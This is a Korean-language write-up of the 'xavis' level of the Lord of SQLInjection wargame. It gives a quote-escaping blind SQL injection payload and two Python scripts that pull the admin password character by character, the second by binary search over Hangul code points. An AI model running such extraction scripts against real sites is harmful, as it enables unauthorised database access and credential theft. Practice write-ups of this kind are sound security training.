Lord of SQLInjection (xavis)

풀이

첫 번째 단락에서 pw 파라미터에 대해서 필터링 되는 문자를 살펴보면 prob _ . () regex like 가 있고, 두 번째 단락 소스 코드를 보면 pw 파라미터에 대해서 addslashes 함수를 사용해서 쿼리를 한 번 더 실행하여 결과값의 pw와 비교하기 때문에 Blind SQLi로 pw 값을 하나씩 추출해야 한다.

image-20250428215848175


이번에는 아래와 같이 pw 값이 싱글쿼터로 둘러쌓여져 있기 때문에 탈출하고 id=admin과 pw에서 ascii와 substr 함수를 사용해서 admin의 패스워드 첫 글자가 아스키코드로 65인지 확인하는 페이로드를 작성할 수 있다.

%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,1,1))=65--%20-

image-20250428221950966


아래와 같이 코드를 짜봤는데 아스키 코드에 없단다.. 뭐지

import requests

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
session = {"PHPSESSID": "l4fo5d8u56opaucpiffcbfvver"}
password = ""

for i in range(1, 100):
    found = False
    for j in range(32, 127):
        param = {"pw": f"' or id='admin' and ascii(substr(pw,{i},1))={j}-- -"}
        r = requests.get(url=url, cookies=session, params=param)
        if "Hello admin" in r.text:
            found = True
            password += chr(j)
            print(f"패스워드 {i}번째 문자는 {chr(j)}입니다.")
            break
    if not found:
        print("end")
        print(password)
        break


아래와 같이 쿼리를 넣어보면 일단 패스워드 길이가 12인 것을 알 수 있다.

image-20250428222753502


그럼 여기서 일단 문자가 아스키코드가 아닌 걸 알 수 있다. 한글인 것을 유추할 수 있고, ord 함수로 변환하여 한글을 유니코드 10진수로 표현하면 44032~55203 이므로 ord 함수를 이용해서 비교하면 된다. 근데 여기서 10000번이나 요청하면 시간이 엄청 오래 걸리니 이진 탐색을 하여 코드를 짜면 훨씬 빠르게 blind sqli를 수행할 수 있다. 테스트를 해봐야하니 첫 글자가 유니코드 50000보다 크냐고 비교하니 Hello admin이 출력됐다.

image-20250428224353025


아래처럼 이진탐색 트리로 코드를 짜보면 우왕굳 이 나온다.. 12바이트인데 세글자가 나온 이유는 한글은 3바이트이기 때문이다.

import requests

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
session = {"PHPSESSID": "l4fo5d8u56opaucpiffcbfvver"}
password = ""

for i in range(1, 100):
    low = 44032
    high = 55203
    found = False

    while low <= high:
        mid = (low + high) // 2
        param = {"pw": f"' or id='admin' and ord(substr(pw,{i},1))={mid}-- -"}
        r = requests.get(url=url, cookies=session, params=param)

        if "Hello admin" in r.text:
            password += chr(mid)
            print(f"[+] 패스워드 {i}번째 문자는 {chr(mid)}")
            found = True
            break
        else:
            param = {"pw": f"' or id='admin' and ord(substr(pw,{i},1))<{mid}-- -"}
            r = requests.get(url=url, cookies=session, params=param)

            if "Hello admin" in r.text:
                high = mid - 1
            else:
                low = mid + 1

    if not found:
        print("[-] 끝났음")
        print(password)
        break

print("[*] 최종 패스워드:", password)

image-20250428230749186

댓글남기기